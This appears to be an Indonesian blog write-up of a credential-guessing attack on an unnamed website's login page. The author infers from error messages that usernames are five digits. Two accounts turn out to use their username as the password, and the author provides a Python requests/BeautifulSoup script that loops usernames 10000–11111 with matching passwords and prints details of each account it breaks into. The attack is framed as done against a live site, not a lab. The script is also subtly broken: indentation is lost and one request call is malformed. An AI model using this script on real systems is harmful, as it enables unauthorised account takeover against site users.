Yap, dengan cara menebak nebak memaksa dengan false attempt pada awalnya akan muncul informasi sederhana, next step adalah mencari tahu user ini mengandung huruf/ kata atau campur.
Ternyata setelah di tes jika kita menginputkan random 5 huruf akan tetap muncul error seperti di atas dan tetap bilang kalau user harus 5 digit.
ok cukup.. berarti 5 angka.
pada contoh kali ini saya tidak akan menggunakan tools bruteforce karena serangan ini cukup sederhana dikarenakan memanfaatkan password yang sama dengan username. next saya mencoba serangan dengan username 10001 sampai 10010 dengan password yang sama dengan username.. LETS START!!
fast forward dan ternyata pada user 10005 berhasil dilakukan berikut juga dengan user 10007
next nya saya bikin script python sederhana buat post login dan get cookies di percantik dengan beautifulsoup4 saya looping dari user 10000 sampai dengan user 11111
codenya seperti ini :
from requests import session
from bs4 import BeautifulSoup
base = 10000
endbase = 11111
target = "http://site target/"
proc = "index.php?action=llogin"
a=0
for x in range(base, endbase):
exp = str(x)
payload = {
'login' : 'login',
'username': exp,
'password': exp
}
with session() as c:
c.post('%s%s' % (target, proc), data=payload)
response = c.get('%s', target)
soup = BeautifulSoup(response.text, 'html.parser')
#print(response.headers)
#print(response.text)
parsingnyah = soup.select(".top-menu")
if len(parsingnyah) > 0 :
parsingnyah = soup.select(".top-menu > table > tr > td > br")[0].encode('utf-8')[22:-140]
print "[+] Success Login user %s = %s" % (exp,parsingnyah)